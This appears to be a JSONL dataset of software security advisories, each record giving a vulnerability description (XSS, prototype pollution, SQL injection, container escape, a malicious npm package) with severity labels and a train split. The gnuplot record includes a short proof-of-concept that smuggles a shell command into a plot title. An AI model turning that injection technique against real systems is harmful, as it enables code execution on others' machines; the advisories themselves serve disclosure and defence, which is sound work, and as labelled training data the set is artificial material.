-{"id": "2c7ea711444e2a5bdc29", "text": "Cross-Site Scripting in keystone\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize user input on the `Contact Us` page,  allowing attackers to submit contact forms with malicious JavaScript in the message field. The output is not properly encoded leading an admin that opens new inquiry to execute the arbitrary JavaScript supplied in their browser.\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "text_raw": "Cross-Site Scripting in keystone\n\n[Severity: MEDIUM]\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize user input on the `Contact Us` page,  allowing attackers to submit contact forms with malicious JavaScript in the message field. The output is not properly encoded leading an admin that opens new inquiry to execute the arbitrary JavaScript supplied in their browser.\n\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-15", "split": "train"}
-{"id": "c85823509fb5e32565c7", "text": "Information Exposure in RunC\n\nRunC allowed additional container processes via 'runc exec' to be ptraced by the pid 1 of the container.  This allows the main processes of the container, if running as root, to gain access to file-descriptors of these new processes during the initialization and can lead to container escapes or modification of runC state before the process is fully placed inside the container.", "text_raw": "Information Exposure in RunC\n\n[Severity: MEDIUM]\n\nRunC allowed additional container processes via 'runc exec' to be ptraced by the pid 1 of the container.  This allows the main processes of the container, if running as root, to gain access to file-descriptors of these new processes during the initialization and can lead to container escapes or modification of runC state before the process is fully placed inside the container.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "ffd1cf9ae1c42326bb96", "text": "Improper Certificate Validation in Apache Beam\n\nThe Apache Beam MongoDB connector in versions 2.10.0 to 2.16.0 has an option to disable SSL trust verification. However this configuration is not respected and the certificate verification disables trust verification in every case. This exclusion also gets registered globally which disables trust checking for any code running in the same JVM.", "text_raw": "Improper Certificate Validation in Apache Beam\n\n[Severity: HIGH]\n\nThe Apache Beam MongoDB connector in versions 2.10.0 to 2.16.0 has an option to disable SSL trust verification. However this configuration is not respected and the certificate verification disables trust verification in every case. This exclusion also gets registered globally which disables trust checking for any code running in the same JVM.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-06", "split": "train"}
-{"id": "1540bbe71a9139b6113a", "text": "Out of bounds write in reorder\n\nswap_index takes an iterator and swaps the items with their corresponding indexes. It reserves capacity and sets the length of the vector based on the .len() method of the iterator.\n\nIf the len() returned by the iterator is larger than the actual number of elements yielded, then swap_index creates a vector containing uninitialized members. If the len() returned by the iterator is smaller than the actual number of members yielded, then swap_index can write out of bounds past its allocated vector.\n\nAs noted by the Rust documentation, len() and size_hint() are primarily meant for optimization and incorrect values from their implementations should not lead to memory safety violations.", "text_raw": "Out of bounds write in reorder\n\n[Severity: HIGH]\n\nswap_index takes an iterator and swaps the items with their corresponding indexes. It reserves capacity and sets the length of the vector based on the .len() method of the iterator.\n\nIf the len() returned by the iterator is larger than the actual number of elements yielded, then swap_index creates a vector containing uninitialized members. If the len() returned by the iterator is smaller than the actual number of members yielded, then swap_index can write out of bounds past its allocated vector.\n\nAs noted by the Rust documentation, len() and size_hint() are primarily meant for optimization and incorrect values from their implementations should not lead to memory safety violations.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7ae2b37d320918405259", "text": "DotNetZip Zip-Slip Vulnerability\n\nDotNetZip.Semvered before 1.11.0 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as 'Zip-Slip'.", "text_raw": "DotNetZip Zip-Slip Vulnerability\n\n[Severity: MEDIUM]\n\nDotNetZip.Semvered before 1.11.0 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as 'Zip-Slip'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "4494e72264671fad55bb", "text": "mayan-edms Cross-site Scripting vulnerability\n\nAn issue was discovered in Mayan EDMS before 3.0.2. The Appearance app sets window.location directly, leading to XSS.", "text_raw": "mayan-edms Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Mayan EDMS before 3.0.2. The Appearance app sets window.location directly, leading to XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "09ec6295d84c1ba0c7b7", "text": "Cross-Site Scripting in react\n\nVersions of `react` prior to 0.14.0 are vulnerable to Cross-Site Scripting (XSS). The package's `createElement` function fails to properly validate its input object, allowing attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.14.0 or later.", "text_raw": "Cross-Site Scripting in react\n\n[Severity: HIGH]\n\nVersions of `react` prior to 0.14.0 are vulnerable to Cross-Site Scripting (XSS). The package's `createElement` function fails to properly validate its input object, allowing attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.14.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "57a9c6964632536e0e8b", "text": "Command Injection in gnuplot\n\nAll versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in gnuplot\n\n[Severity: CRITICAL]\n\nAll versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b127dfed737d83818a11", "text": "Kemana Directory 1.5.6 Remote Code Execution", "text_raw": "Kemana Directory 1.5.6 Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "14ab95ed39e483ebf221", "text": "Moodle allowed some users without permission to view other users' full names\n\nIt was possible for some users without permission to view other users' full names to do so via the online users block in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17.", "text_raw": "Moodle allowed some users without permission to view other users' full names\n\n[Severity: MEDIUM]\n\nIt was possible for some users without permission to view other users' full names to do so via the online users block in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "872693b3c19c52adebb5", "text": "Prototype Pollution in comb\n\nAll versions of package comb are vulnerable to Prototype Pollution via the `deepMerge()` function.", "text_raw": "Prototype Pollution in comb\n\n[Severity: MEDIUM]\n\nAll versions of package comb are vulnerable to Prototype Pollution via the `deepMerge()` function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "1b31a54f9f8e6357cdfe", "text": "Cross-Site Scripting in dmn-js-properties-panel\n\nVersions of `dmn-js-properties-panel` prior to 0.8.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n## Recommendation\n\nUpgrade to version 0.3.0 or later.", "text_raw": "Cross-Site Scripting in dmn-js-properties-panel\n\n[Severity: HIGH]\n\nVersions of `dmn-js-properties-panel` prior to 0.8.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n\n## Recommendation\n\nUpgrade to version 0.3.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5353e22dc8b943fb3eb0", "text": "Cross-Site Request Forgery in OpenNMS Horizon\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to CSRF, due to no CSRF protection at `/opennms/admin/userGroupView/users/updateUser`. This flaw allows assigning `ROLE_ADMIN` security role to a normal user. Using this flaw, an attacker can trick the admin user to assign administrator privileges to a normal user by enticing him to click upon an attacker-controlled website.", "text_raw": "Cross-Site Request Forgery in OpenNMS Horizon\n\n[Severity: HIGH]\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to CSRF, due to no CSRF protection at `/opennms/admin/userGroupView/users/updateUser`. This flaw allows assigning `ROLE_ADMIN` security role to a normal user. Using this flaw, an attacker can trick the admin user to assign administrator privileges to a normal user by enticing him to click upon an attacker-controlled website.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "e048f27c2e988386b973", "text": "ZKTeco ZKBioSecurity 3.0 (visLogin.jsp) Local Authorization Bypass", "text_raw": "ZKTeco ZKBioSecurity 3.0 (visLogin.jsp) Local Authorization Bypass\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-08-31", "split": "train"}
-{"id": "cc6ab9af0d11cc12e36b", "text": "XSS in jQuery as used in Drupal, Backdrop CMS, and other products\n\njQuery from 1.1.4 until 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles `jQuery.extend(true, {}, ...)` because of `Object.prototype` pollution. If an unsanitized source object contained an enumerable `__proto__` property, it could extend the native `Object.prototype`.", "text_raw": "XSS in jQuery as used in Drupal, Backdrop CMS, and other products\n\n[Severity: MEDIUM]\n\njQuery from 1.1.4 until 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles `jQuery.extend(true, {}, ...)` because of `Object.prototype` pollution. If an unsanitized source object contained an enumerable `__proto__` property, it could extend the native `Object.prototype`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-26", "split": "train"}
-{"id": "1c7874b856d979ff028c", "text": "Improper Input Validation in Apache Camel\n\nApache Camel's JMX is vulnerable to Rebind Flaw. Apache Camel users should upgrade to 3.2.0.", "text_raw": "Improper Input Validation in Apache Camel\n\n[Severity: HIGH]\n\nApache Camel's JMX is vulnerable to Rebind Flaw. Apache Camel users should upgrade to 3.2.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "789bfbf2f375a7b7bdef", "text": "Remote Code Execution via unsafe classes in otherwise permitted modules\n\n### Impact\nThe module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of `Script (Python)` objects.\n\nThe policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in AccessControl 4.3 and 5.2.\nOnly AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.\n\n### Workarounds\nA site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Remote Code Execution via unsafe classes in otherwise permitted modules\n\n[Severity: MEDIUM]\n\n### Impact\nThe module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of `Script (Python)` objects. \n\nThe policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in AccessControl 4.3 and 5.2.\nOnly AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.\n\n### Workarounds\nA site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "7d8a908f26a9fc4468fc", "text": "XSS in CreateQueuedJobTask\n\nA vulnerability has been identified in the Silverstripe CMS 3 and 4 version of the symbiote/silverstripe-queuedjobs module. A Cross Site Scripting vulnerability allows an attacker to inject an arbitrary payload in the CreateQueuedJobTask dev task via a specially crafted URL.", "text_raw": "XSS in CreateQueuedJobTask\n\n[Severity: MEDIUM]\n\nA vulnerability has been identified in the Silverstripe CMS 3 and 4 version of the symbiote/silverstripe-queuedjobs module. A Cross Site Scripting vulnerability allows an attacker to inject an arbitrary payload in the CreateQueuedJobTask dev task via a specially crafted URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-24", "split": "train"}
-{"id": "fa19d642bb873beaf9c4", "text": "Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability", "text_raw": "Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-04-30", "split": "train"}
-{"id": "9e1652d16f1bdd8bd417", "text": "Lack of URL normalization may lead to authorization bypass when URL access rules are used\n\n### Impact\nWhen access rules are used inside a protected host, some URL encodings may bypass filtering system.\n\n### Patches\nVersion 0.5.2 includes a patch that fixes the vulnerability\n\n### Workarounds\nNo way for users to fix or remediate the vulnerability without upgrading\n\n### References\nhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2290\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repository](https://github.com/LemonLDAPNG/node-lemonldap-ng-handler/issues) or [LemonLDAP::NG GitLab](https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues)\n* Email us at [lemonldap-ng-users@ow2.org](mailto:lemonldap-ng-users@ow2.org)", "text_raw": "Lack of URL normalization may lead to authorization bypass when URL access rules are used\n\n[Severity: MEDIUM]\n\n### Impact\nWhen access rules are used inside a protected host, some URL encodings may bypass filtering system.\n\n### Patches\nVersion 0.5.2 includes a patch that fixes the vulnerability\n\n### Workarounds\nNo way for users to fix or remediate the vulnerability without upgrading\n\n### References\nhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2290\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repository](https://github.com/LemonLDAPNG/node-lemonldap-ng-handler/issues) or [LemonLDAP::NG GitLab](https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues)\n* Email us at [lemonldap-ng-users@ow2.org](mailto:lemonldap-ng-users@ow2.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-09", "split": "train"}
-{"id": "2aaca563bf9c034785ed", "text": "Improper Key Verification in openpgp\n\nVersions of `openpgp` prior to 4.2.0 are vulnerable to Improper Key Verification. The OpenPGP standard allows signature packets to have subpackets which may be hashed or unhashed. Unhashed subpackets are not cryptographically protected and cannot be trusted. The `openpgp` package does not verify whether a subpacket is hashed. Furthermore, due to the order of parsing a signature packet information from unhashed subpackets overwrites information from hashed subpackets. This may allow an attacker to modify the contents of a key certification signature or revocation signature. Doing so could convince a victim to use an obsolete key for encryption. An attack require a victim to import a manipulated key or update an existing key with a manipulated version.\n\n## Recommendation\n\nUpgrade to version 4.2.0 or later. \nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "text_raw": "Improper Key Verification in openpgp\n\n[Severity: HIGH]\n\nVersions of `openpgp` prior to 4.2.0 are vulnerable to Improper Key Verification. The OpenPGP standard allows signature packets to have subpackets which may be hashed or unhashed. Unhashed subpackets are not cryptographically protected and cannot be trusted. The `openpgp` package does not verify whether a subpacket is hashed. Furthermore, due to the order of parsing a signature packet information from unhashed subpackets overwrites information from hashed subpackets. This may allow an attacker to modify the contents of a key certification signature or revocation signature. Doing so could convince a victim to use an obsolete key for encryption. An attack require a victim to import a manipulated key or update an existing key with a manipulated version.\n\n\n## Recommendation\n\nUpgrade to version 4.2.0 or later. \nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "24bd45b30ab13c3ce269", "text": "tiny-json-http missing SSL certificate validation\n\nbrianleroux tiny-json-http version all versions since commit [9b8e74a232bba4701844e07bcba794173b0238a8](https://github.com/brianleroux/tiny-json-http/commit/9b8e74a232bba4701844e07bcba794173b0238a8) (Oct 29 2016) contains a Missing SSL certificate validation vulnerability in The libraries core functionality is affected. that can result in Exposes the user to man-in-the-middle attacks.", "text_raw": "tiny-json-http missing SSL certificate validation\n\n[Severity: HIGH]\n\nbrianleroux tiny-json-http version all versions since commit [9b8e74a232bba4701844e07bcba794173b0238a8](https://github.com/brianleroux/tiny-json-http/commit/9b8e74a232bba4701844e07bcba794173b0238a8) (Oct 29 2016) contains a Missing SSL certificate validation vulnerability in The libraries core functionality is affected. that can result in Exposes the user to man-in-the-middle attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-13", "split": "train"}
-{"id": "dcbd826ce3d16e272432", "text": "botframework-connector vulnerable to Improper Authentication\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropiate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator, which throws an exception if Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botframework-sdk)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "text_raw": "botframework-connector vulnerable to Improper Authentication\n\n[Severity: HIGH]\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropiate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator, which throws an exception if Claims are Skill Claims. \n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botframework-sdk)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "0962696c0fc9830e9150", "text": "Prototype pollution in JointJS\n\nThe package jointjs before 3.3.0 are vulnerable to Prototype Pollution via util.setByPath (https://resources.jointjs.com/docs/jointjs/v3.2/joint.htmlutil.setByPath). The path used the access the object's key and set the value is not properly sanitized, leading to a Prototype Pollution.", "text_raw": "Prototype pollution in JointJS\n\n[Severity: HIGH]\n\nThe package jointjs before 3.3.0 are vulnerable to Prototype Pollution via util.setByPath (https://resources.jointjs.com/docs/jointjs/v3.2/joint.htmlutil.setByPath). The path used the access the object's key and set the value is not properly sanitized, leading to a Prototype Pollution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "cb091ff7ac517a36a022", "text": "Prototype Pollution in ini-parser\n\nAll versions of `ini-parser` are vulnerable to prototype pollution. The `parse` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in ini-parser\n\n[Severity: CRITICAL]\n\nAll versions of `ini-parser` are vulnerable to prototype pollution. The `parse` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "fd9cf29d23339381a3cb", "text": "Improper Input Validation and Cross-Site Request Forgery in Keycloak\n\nIt was found that Keycloak's account console, up to 6.0.1, did not perform adequate header checks in some requests. An attacker could use this flaw to trick an authenticated user into performing operations via request from an untrusted domain.", "text_raw": "Improper Input Validation and Cross-Site Request Forgery in Keycloak\n\n[Severity: HIGH]\n\nIt was found that Keycloak's account console, up to 6.0.1, did not perform adequate header checks in some requests. An attacker could use this flaw to trick an authenticated user into performing operations via request from an untrusted domain.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "c8b1108fd237e6d7cd1e", "text": "mysqljs is malware\n\nThe `mysqljs` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "mysqljs is malware\n\n[Severity: HIGH]\n\nThe `mysqljs` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "4de0ba187d7d4bdb11fe", "text": "Data races in noise_search\n\nAffected versions of the `noise_search` crate unconditionally implement Send/Sync for `MvccRwLock`.\nThis can lead to data races when types that are either `!Send` or `!Sync` (e.g. `Rc<T>`, `Arc<Cell<_>>`) are contained inside `MvccRwLock` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nAlso, safe APIs of `MvccRwLock` allow aliasing violations by allowing `&T` and `LockResult<MutexGuard<Box<T>>>` to co-exist in conflicting lifetime regions. The APIs of `MvccRwLock` should either be marked as `unsafe` or `MbccRwLock` should be changed to private or pub(crate).", "text_raw": "Data races in noise_search\n\n[Severity: MEDIUM]\n\nAffected versions of the `noise_search` crate unconditionally implement Send/Sync for `MvccRwLock`.\nThis can lead to data races when types that are either `!Send` or `!Sync` (e.g. `Rc<T>`, `Arc<Cell<_>>`) are contained inside `MvccRwLock` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nAlso, safe APIs of `MvccRwLock` allow aliasing violations by allowing `&T` and `LockResult<MutexGuard<Box<T>>>` to co-exist in conflicting lifetime regions. The APIs of `MvccRwLock` should either be marked as `unsafe` or `MbccRwLock` should be changed to private or pub(crate).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e54d484632b6c9167230", "text": "Circumvention of file size limits in ActiveStorage\n\nThere is a vulnerability in ActiveStorage's S3 adapter that allows the Content-Length of a direct file upload to be modified by an end user.\n\nVersions Affected:  rails < 5.2.4.2, rails < 6.0.3.1\nNot affected:       Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\n\nUtilizing this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.\n\nWorkarounds\n-----------", "text_raw": "Circumvention of file size limits in ActiveStorage\n\n[Severity: HIGH]\n\nThere is a vulnerability in ActiveStorage's S3 adapter that allows the Content-Length of a direct file upload to be modified by an end user.\n\nVersions Affected:  rails < 5.2.4.2, rails < 6.0.3.1\nNot affected:       Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\n\nUtilizing this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.\n\nWorkarounds\n-----------\n\nThis is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-26", "split": "train"}
-{"id": "89087cacce5280d9e99d", "text": "Automated Logic WebCTRL 6.5 Insecure File Permissions Privilege Escalation", "text_raw": "Automated Logic WebCTRL 6.5 Insecure File Permissions Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-08-22", "split": "train"}
-{"id": "63cf85b1c93607009ae8", "text": "ipycache is vulnerable to Code Injection\n\nA code injection issue was discovered in ipycache versions up to 0.1.4.", "text_raw": "ipycache is vulnerable to Code Injection\n\n[Severity: CRITICAL]\n\nA code injection issue was discovered in ipycache versions up to 0.1.4.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "6e51f69b976ee2952ae7", "text": "Potential SQL Injection in sequelize\n\nAffected versions of `sequelize` are vulnerable to SQL Injection when user input is passed into `findOne` or into a statement such as `where: \"user input\"`.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.\n\nVersion 3.0.0 will introduce a number of breaking changes.\nThankfully, the project authors have provided a 2.x -> 3.x [upgrade guide](https://github.com/sequelize/sequelize/wiki/Upgrade-from-2.0-to-3.0) to ease this transition.\n\nIf upgrading is not an option, it is also possible to mitigate this by ensuring that all uses of `where: \"input\"` and `findOne(\"input\")` are properly sanitized, such as by the use of a wrapper function.", "text_raw": "Potential SQL Injection in sequelize\n\n[Severity: HIGH]\n\nAffected versions of `sequelize` are vulnerable to SQL Injection when user input is passed into `findOne` or into a statement such as `where: \"user input\"`.\n\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.\n\nVersion 3.0.0 will introduce a number of breaking changes.\nThankfully, the project authors have provided a 2.x -> 3.x [upgrade guide](https://github.com/sequelize/sequelize/wiki/Upgrade-from-2.0-to-3.0) to ease this transition.\n\nIf upgrading is not an option, it is also possible to mitigate this by ensuring that all uses of `where: \"input\"` and `findOne(\"input\")` are properly sanitized, such as by the use of a wrapper function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
